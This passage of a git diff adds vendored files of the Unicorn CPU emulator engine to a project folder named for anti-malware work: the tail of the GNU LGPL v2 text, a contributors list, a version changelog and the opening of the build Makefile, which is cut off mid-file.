threatened constantly by software +patents. We wish to avoid the danger that companies distributing free +software will individually obtain patent licenses, thus in effect +transforming the program into proprietary software. To prevent this, +we have made it clear that any patent must be licensed for everyone's +free use or not licensed at all. + + Most GNU software, including some libraries, is covered by the ordinary +GNU General Public License, which was designed for utility programs. This +license, the GNU Library General Public License, applies to certain +designated libraries. This license is quite different from the ordinary +one; be sure to read it in full, and don't assume that anything in it is +the same as in the ordinary license. + + The reason we have a separate public license for some libraries is that +they blur the distinction we usually make between modifying or adding to a +program and simply using it. Linking a program with a library, without +changing the library, is in some sense simply using the library, and is +analogous to running a utility program or application program. However, in +a textual and legal sense, the linked executable is a combined work, a +derivative of the original library, and the ordinary General Public License +treats it as such. + + Because of this blurred distinction, using the ordinary General +Public License for libraries did not effectively promote software +sharing, because most developers did not use the libraries. We +concluded that weaker conditions might promote sharing better. + + However, unrestricted linking of non-free programs would deprive the +users of those programs of all benefit from the free status of the +libraries themselves. This Library General Public License is intended to +permit developers of non-free programs to use free libraries, while +preserving your freedom as a user of such programs to change the free +libraries that are incorporated in them. (We have not seen how to achieve +this as regards changes in header files, but we have achieved it as regards +changes in the actual functions of the Library.) The hope is that this +will lead to faster development of free libraries. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, while the latter only +works together with the library. + + Note that it is possible for a library to be covered by the ordinary +General Public License rather than by this special one. + + GNU LIBRARY GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library which +contains a notice placed by the copyright holder or other authorized +party saying it may be distributed under the terms of this Library +General Public License (also called "this License"). Each licensee is +addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also compile or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + c) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + d) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the source code distributed need not include anything that is normally +distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Library General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Libraries + + If you develop a new library, and you want it to be of the greatest +possible use to the public, we recommend making it free software that +everyone can redistribute and change. You can do so by permitting +redistribution under these terms (or, alternatively, under the terms of the +ordinary General Public License). + + To apply these terms, attach the following notices to the library. It is +safest to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public + License along with this library; if not, write to the + Free Software Foundation, Inc., 59 Temple Place - Suite 330, + Boston, MA 02111-1307 USA. + +Also add information on how to contact you by electronic and paper mail. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the library, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the + library `Frob' (a library for tweaking knobs) written by James Random Hacker. + + , 1 April 1990 + Ty Coon, President of Vice + +That's all there is to it! diff --git a/ai_anti_malware/unicorn/unicorn-master/CREDITS.TXT b/ai_anti_malware/unicorn/unicorn-master/CREDITS.TXT new file mode 100644 index 0000000..586d15e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/CREDITS.TXT @@ -0,0 +1,75 @@ +This file credits all the contributors of the Unicorn engine project. + + +Key developers +============== +Nguyen Anh Quynh +Dang Hoang Vu + + +Beta testers (in no particular order) +============================== +Nguyen Tan Cong +Loi Anh Tuan +Edgar Barbosa +Joxean Koret +Chris Eagle +Jay Little, Trail of Bits +Jeong Wook Oh +Luis Miras +Yan Shoshitaishvili, Shellphish & UC Santa Barbara +Erik Fischer +Darel Griffin, NCC Group +Anton Cherepanov +Mohamed Saher (halsten) +Tyler Colgan +Jonathon Reinhart +Blue Skeye +Chris Maixner +Sergi Alvarez, aka pancake (author of radare) +Ryan Hileman +Tim "diff" Strazzere +WanderingGlitch of the Zero Day Initiative +Sascha Schirra +François Serman +Sean Heelan +Luke Burnett +Parker Thompson +Daniel Godas-Lopez +Antonio "s4tan" Parata +Corey Kallenberg +Shift +Gabriel Quadros +Fabian Yamaguchi +Ralf-Philipp Weinmann +Mike Guidry +Joshua "posixninja" Hill + + +Contributors (in no particular order) +===================================== +(Please let us know if you want to have your name here) + +Nguyen Tan Cong +Loi Anh Tuan +Shaun Wheelhouse: Homebrew package +Kamil Rytarowski: Pkgsrc package +Zak Escano: MSVC support. +Chris Eagle: Java binding +Ryan Hileman: Go binding +Antonio Parata: .NET binding +Jonathon Reinhart: C unit test +Sascha Schirra: Ruby binding +Adrian Herrera: Haskell binding +practicalswift: Various cool bugs found by fuzzing +farmdve: Memory leaking fix +Andrew Dutcher: uc_context_{save, restore} API. +Stephen Groat: improved CI setup. +David Zimmer: VB6 binding. +zhangwm: ARM & ARM64 big endian. +Mohamed Osama: FreePascal/Delphi binding. +Philippe Antoine (Catena cyber): fuzzing +Huitao Chen (chenhuitao) & KaiJern Lau (xwings): Cmake support +Huitao Chen (chenhuitao) & KaiJern Lau (xwings): Python3 support for building +Kevin Foo (chfl4gs): Travis-CI migration +Ziqiao Kong (lazymio): uc_context_free() API and various bug fix & improvement. diff --git a/ai_anti_malware/unicorn/unicorn-master/ChangeLog b/ai_anti_malware/unicorn/unicorn-master/ChangeLog new file mode 100644 index 0000000..64fb906 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/ChangeLog @@ -0,0 +1,115 @@ +This file details the changelog of Unicorn Engine. + +----------------------------------- +[Version 1.0.2]: October 21st, 2020 + +- Fix Java binding compilation +- Enable building for ARM little-endian only (ignore big-endian) + +------------------------------------ +[Version 1.0.2-rc6]: Sept 24th, 2020 + +- Add uc_context_free() API +- Fix context saving/retoring API (core & Python binding) + +------------------------------------ +[Version 1.0.2-rc5]: Sept 22nd, 2020 + +- Add cmake option to build Unicorn as a static library +- Fix error handling of mmap() +- uc_emu_start() can be reentrant +- Fix naming conflicts when built with systemd +- Fix setjmp/longjmp on native Windows +- Fix enabled hooks even after deleting them +- X86: + - Fix 64bit fstenv + - Fix IP value of 16bit mode +- ARM: + - Fix APSR handling +- Python: Remove UC_ERR_TIMEOUT + +----------------------------------- +[Version 1.0.2-rc4]: May 29th, 2020 + +- No longer require Python to build +- Fix recursive UC_HOOK_MEM callbacks for cross pages access +- Remove UC_ERR_TIMEOUT, so timeout on uc_emu_start() is not considered error +- Added UC_QUERY_TIMEOUT to query exit reason +- Fix UAF when deleting hook while in hook callback +- Ensure that hooks are unaffected by a request to stop emulation. +- Fix block hooks being called twice after an early exit from execution. +- Fix binding install on python2 (MacOS) +- X86: + - Support read/write STn registers + - Support read/write X64 base regs +- ARM64: + - Support some new registers + +---------------------------------- +[Version 1.0.1]: April 20th, 2017 + +- Properly handle selected-architecture build. +- Fix compilation issues on PPC & S390x. +- Fix a memory leak on uc_mem_protect(). +- ARM: + - Support big-endian mode. + - Correct instruction size of Thumb/Thumb2 code. + - Support read/write APSR register. +- ARM64: + - Support read/write NEON registers. + - Support read/write NZCV registers. +- Mips: Support read/write Mips64 registers. +- X86: Support read/write MSR. +- Haskell binding: update to the latest API. +- Python: allow not having PATH setup. + +---------------------------------- +[Version 1.0]: February 23rd, 2017 + +- Fix build script for BSD host. +- Fix building Unicorn on Arm/PPC/Sparc/S390 hosts. +- X86: + - Fix 16bit address computation. + - Fix initial state of segment registers. + +---------------------------------- +[Version 1.0-rc3]: January 25th, 2017 + +- Rename API uc_context_free() to uc_free(). +- ARM: + - uc_reg_write() now can modify CPSR register. + - Add some ARM coproc registers. +- ARM64: uc_reg_read|write() now handles W0-W31 registers. +- Windows: fix a double free bug in uc_close(). +- New VB6 binding. +- Java: update to support new APIs from v1.0-rc1. +- Python: + - Fix memory leaking that prevents UC instances from being GC. + - Remove some dependencies leftover from glib time. + - Add new method mem_regions() (linked to uc_mem_regions() API) + +---------------------------------- +[Version 1.0-rc2]: January 4th, 2017 + +- Remove glib & pkconfig dependency. +- Python: fix an issue to restore support for FreeBSD (and other *BSD Unix). +- ARM: support MCLASS cpu (Cortex-M3). +- Windows: export a static lib that can be used outside of Mingw + +---------------------------------- +[Version 1.0-rc1]: December 22nd, 2016 + +- Lots of bugfixes in all architectures. +- Better support for ARM Thumb. +- Fix many memory leaking issues. +- New bindings: Haskell, MSVC. +- Better support for Python3. +- New APIs: uc_query, uc_reg_write_batch, uc_reg_read_batch, uc_mem_map_ptr, uc_mem_regions, uc_context_alloc, uc_context_save & uc_context_restore. +- New memory hook type: UC_HOOK_MEM_READ_AFTER. +- Add new version macros UC_VERSION_{MAJOR, MINOR, EXTRA} + +---------------------------------- +[Version 0.9]: October 15th, 2015 + +- Initial public release. + diff --git a/ai_anti_malware/unicorn/unicorn-master/Makefile b/ai_anti_malware/unicorn/unicorn-master/Makefile new file mode 100644 index 0000000..5128a02 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/Makefile @@ -0,0 +1,424 @@ +# Unicorn Emulator Engine +# By Dang Hoang Vu , 2015 + + +.PHONY: all clean install uninstall dist header + +include config.mk +include pkgconfig.mk # package version + +LIBNAME = unicorn +UNAME_S := $(shell uname -s) +# SMP_MFLAGS is used for controlling the amount of parallelism used +# in external 'make' invocations. If the user doesn't override it, it +# does "-j4". That is, it uses 4 job threads. If you want to use more or less, +# pass in a different -jX, with X being the number of threads. +# For example, to completely disable parallel building, pass "-j1". +# If you want to use 16 job threads, use "-j16". +SMP_MFLAGS := -j4 + +UC_GET_OBJ = $(shell for i in \ + $$(grep '$(1)' $(2) | \ + grep '\.o' | cut -d '=' -f 2); do \ + echo $$i | grep '\.o' > /dev/null 2>&1; \ + if [ $$? = 0 ]; then \ + echo '$(3)'$$i; \ + fi; done; echo) + +UC_TARGET_OBJ = $(filter-out qemu/../%,$(call UC_GET_OBJ,obj-,qemu/Makefile.objs, qemu/)) +UC_TARGET_OBJ += $(call UC_GET_OBJ,obj-,qemu/hw/core/Makefile.objs, qemu/hw/core/) +UC_TARGET_OBJ += $(call UC_GET_OBJ,obj-,qemu/qapi/Makefile.objs, qemu/qapi/) +UC_TARGET_OBJ += $(call UC_GET_OBJ,obj-,qemu/qobject/Makefile.objs, qemu/qobject/) +UC_TARGET_OBJ += $(call UC_GET_OBJ,obj-,qemu/qom/Makefile.objs, qemu/qom/) +UC_TARGET_OBJ += $(call UC_GET_OBJ,obj-y,qemu/util/Makefile.objs, qemu/util/) +ifneq ($(filter MINGW%,$(UNAME_S)),) +UC_TARGET_OBJ += $(call UC_GET_OBJ,obj-$$(CONFIG_WIN32),qemu/util/Makefile.objs, qemu/util/) +else +UC_TARGET_OBJ += $(call UC_GET_OBJ,obj-$$(CONFIG_POSIX),qemu/util/Makefile.objs, qemu/util/) +endif + +UC_TARGET_OBJ_X86 = $(call UC_GET_OBJ,obj-,qemu/Makefile.target, qemu/x86_64-softmmu/) +UC_TARGET_OBJ_X86 += $(call UC_GET_OBJ,obj-,qemu/hw/i386/Makefile.objs, qemu/x86_64-softmmu/hw/i386/) +UC_TARGET_OBJ_X86 += $(call UC_GET_OBJ,obj-,qemu/hw/intc/Makefile.objs, qemu/x86_64-softmmu/hw/intc/) +UC_TARGET_OBJ_X86 += $(call UC_GET_OBJ,obj-,qemu/target-i386/Makefile.objs, qemu/x86_64-softmmu/target-i386/) + +UC_TARGET_OBJ_ARM = $(call UC_GET_OBJ,obj-,qemu/Makefile.target, qemu/arm-softmmu/) +UC_TARGET_OBJ_ARM += $(call UC_GET_OBJ,obj-,qemu/hw/arm/Makefile.objs, qemu/arm-softmmu/hw/arm/) +UC_TARGET_OBJ_ARM += $(call UC_GET_OBJ,obj-y,qemu/target-arm/Makefile.objs, qemu/arm-softmmu/target-arm/) +UC_TARGET_OBJ_ARM += $(call UC_GET_OBJ,obj-$$(CONFIG_SOFTMMU),qemu/target-arm/Makefile.objs, qemu/arm-softmmu/target-arm/) +UC_TARGET_OBJ_ARM += $(call UC_GET_OBJ,obj-$$(TARGET_ARM),qemu/target-arm/Makefile.objs, qemu/arm-softmmu/target-arm/) + +UC_TARGET_OBJ_ARMEB = $(subst /arm-softmmu/,/armeb-softmmu/,$(UC_TARGET_OBJ_ARM)) + +UC_TARGET_OBJ_M68K = $(call UC_GET_OBJ,obj-,qemu/Makefile.target, qemu/m68k-softmmu/) +UC_TARGET_OBJ_M68K += $(call UC_GET_OBJ,obj-,qemu/hw/m68k/Makefile.objs, qemu/m68k-softmmu/hw/m68k/) +UC_TARGET_OBJ_M68K += $(call UC_GET_OBJ,obj-,qemu/target-m68k/Makefile.objs, qemu/m68k-softmmu/target-m68k/) + +UC_TARGET_OBJ_AARCH64 = $(call UC_GET_OBJ,obj-,qemu/Makefile.target, qemu/aarch64-softmmu/) +UC_TARGET_OBJ_AARCH64 += $(call UC_GET_OBJ,obj-,qemu/hw/arm/Makefile.objs, qemu/aarch64-softmmu/hw/arm/) +UC_TARGET_OBJ_AARCH64 += $(call UC_GET_OBJ,obj-y,qemu/target-arm/Makefile.objs, qemu/aarch64-softmmu/target-arm/) +UC_TARGET_OBJ_AARCH64 += $(call UC_GET_OBJ,obj-$$(CONFIG_SOFTMMU),qemu/target-arm/Makefile.objs, qemu/aarch64-softmmu/target-arm/) +UC_TARGET_OBJ_AARCH64 += $(call UC_GET_OBJ,obj-$$(TARGET_AARCH64),qemu/target-arm/Makefile.objs, qemu/aarch64-softmmu/target-arm/) + +UC_TARGET_OBJ_AARCH64EB = $(subst /aarch64-softmmu/,/aarch64eb-softmmu/,$(UC_TARGET_OBJ_AARCH64)) + +UC_TARGET_OBJ_MIPS = $(call UC_GET_OBJ,obj-,qemu/Makefile.target, qemu/mips-softmmu/) +UC_TARGET_OBJ_MIPS += $(call UC_GET_OBJ,obj-,qemu/hw/mips/Makefile.objs, qemu/mips-softmmu/hw/mips/) +UC_TARGET_OBJ_MIPS += $(call UC_GET_OBJ,obj-,qemu/target-mips/Makefile.objs, qemu/mips-softmmu/target-mips/) + +UC_TARGET_OBJ_MIPSEL = $(subst /mips-softmmu/,/mipsel-softmmu/,$(UC_TARGET_OBJ_MIPS)) + +UC_TARGET_OBJ_MIPS64 = $(subst /mips-softmmu/,/mips64-softmmu/,$(UC_TARGET_OBJ_MIPS)) + +UC_TARGET_OBJ_MIPS64EL = $(subst /mips-softmmu/,/mips64el-softmmu/,$(UC_TARGET_OBJ_MIPS)) + +UC_TARGET_OBJ_SPARC = $(call UC_GET_OBJ,obj-,qemu/Makefile.target, qemu/sparc-softmmu/) +UC_TARGET_OBJ_SPARC += $(call UC_GET_OBJ,obj-,qemu/hw/sparc/Makefile.objs, qemu/sparc-softmmu/hw/sparc/) +UC_TARGET_OBJ_SPARC += $(call UC_GET_OBJ,obj-y,qemu/target-sparc/Makefile.objs, qemu/sparc-softmmu/target-sparc/) +UC_TARGET_OBJ_SPARC += $(call UC_GET_OBJ,obj-$$(TARGET_SPARC),qemu/target-sparc/Makefile.objs, qemu/sparc-softmmu/target-sparc/) + +UC_TARGET_OBJ_SPARC64 = $(call UC_GET_OBJ,obj-,qemu/Makefile.target, qemu/sparc64-softmmu/) +UC_TARGET_OBJ_SPARC64 += $(call UC_GET_OBJ,obj-,qemu/hw/sparc64/Makefile.objs, qemu/sparc64-softmmu/hw/sparc64/) +UC_TARGET_OBJ_SPARC64 += $(call UC_GET_OBJ,obj-y,qemu/target-sparc/Makefile.objs, qemu/sparc64-softmmu/target-sparc/) +UC_TARGET_OBJ_SPARC64 += $(call UC_GET_OBJ,obj-$$(TARGET_SPARC64),qemu/target-sparc/Makefile.objs, qemu/sparc64-softmmu/target-sparc/) + +ifneq (,$(findstring x86,$(UNICORN_ARCHS))) + UC_TARGET_OBJ += $(UC_TARGET_OBJ_X86) + UNICORN_CFLAGS += -DUNICORN_HAS_X86 + UNICORN_TARGETS += x86_64-softmmu, +endif +ifneq (,$(findstring arm,$(UNICORN_ARCHS))) + UC_TARGET_OBJ += $(UC_TARGET_OBJ_ARM) + UC_TARGET_OBJ += $(UC_TARGET_OBJ_ARMEB) + UNICORN_CFLAGS += -DUNICORN_HAS_ARM + UNICORN_CFLAGS += -DUNICORN_HAS_ARMEB + UNICORN_TARGETS += arm-softmmu, + UNICORN_TARGETS += armeb-softmmu, +endif +ifneq (,$(findstring m68k,$(UNICORN_ARCHS))) + UC_TARGET_OBJ += $(UC_TARGET_OBJ_M68K) + UNICORN_CFLAGS += -DUNICORN_HAS_M68K + UNICORN_TARGETS += m68k-softmmu, +endif +ifneq (,$(findstring aarch64,$(UNICORN_ARCHS))) + UC_TARGET_OBJ += $(UC_TARGET_OBJ_AARCH64) + UC_TARGET_OBJ += $(UC_TARGET_OBJ_AARCH64EB) + UNICORN_CFLAGS += -DUNICORN_HAS_ARM64 + UNICORN_CFLAGS += -DUNICORN_HAS_ARM64EB + UNICORN_TARGETS += aarch64-softmmu, + UNICORN_TARGETS += aarch64eb-softmmu, +endif +ifneq (,$(findstring mips,$(UNICORN_ARCHS))) + UC_TARGET_OBJ += $(UC_TARGET_OBJ_MIPS) + UC_TARGET_OBJ += $(UC_TARGET_OBJ_MIPSEL) + UC_TARGET_OBJ += $(UC_TARGET_OBJ_MIPS64) + UC_TARGET_OBJ += $(UC_TARGET_OBJ_MIPS64EL) + UNICORN_CFLAGS += -DUNICORN_HAS_MIPS + UNICORN_CFLAGS += -DUNICORN_HAS_MIPSEL + UNICORN_CFLAGS += -DUNICORN_HAS_MIPS64 + UNICORN_CFLAGS += -DUNICORN_HAS_MIPS64EL + UNICORN_TARGETS += mips-softmmu, + UNICORN_TARGETS += mipsel-softmmu, + UNICORN_TARGETS += mips64-softmmu, + UNICORN_TARGETS += mips64el-softmmu, +endif +ifneq (,$(findstring sparc,$(UNICORN_ARCHS))) + UC_TARGET_OBJ += $(UC_TARGET_OBJ_SPARC) + UC_TARGET_OBJ += $(UC_TARGET_OBJ_SPARC64) + UNICORN_CFLAGS += -DUNICORN_HAS_SPARC + UNICORN_TARGETS += sparc-softmmu,sparc64-softmmu, +endif + +UC_OBJ_ALL = $(UC_TARGET_OBJ) list.o uc.o + +UNICORN_CFLAGS += -fPIC + +# Verbose output? +V ?= 0 + +# on MacOS, by default do not compile in Universal format +MACOS_UNIVERSAL ?= no + +ifeq ($(UNICORN_DEBUG),yes) +CFLAGS += -g +else +CFLAGS += -O3 +UNICORN_QEMU_FLAGS += --disable-debug-info +endif + +ifeq ($(UNICORN_ASAN),yes) +CC = clang -fsanitize=address -fno-omit-frame-pointer +CXX = clang++ -fsanitize=address -fno-omit-frame-pointer +AR = llvm-ar +LDFLAGS := -fsanitize=address ${LDFLAGS} +endif + +ifeq ($(CROSS),) +CC ?= cc +AR ?= ar +RANLIB ?= ranlib +STRIP ?= strip +else +CC = $(CROSS)-gcc +AR = $(CROSS)-ar +RANLIB = $(CROSS)-ranlib +STRIP = $(CROSS)-strip +endif + +ifeq ($(PKG_EXTRA),) +PKG_VERSION = $(PKG_MAJOR).$(PKG_MINOR) +else 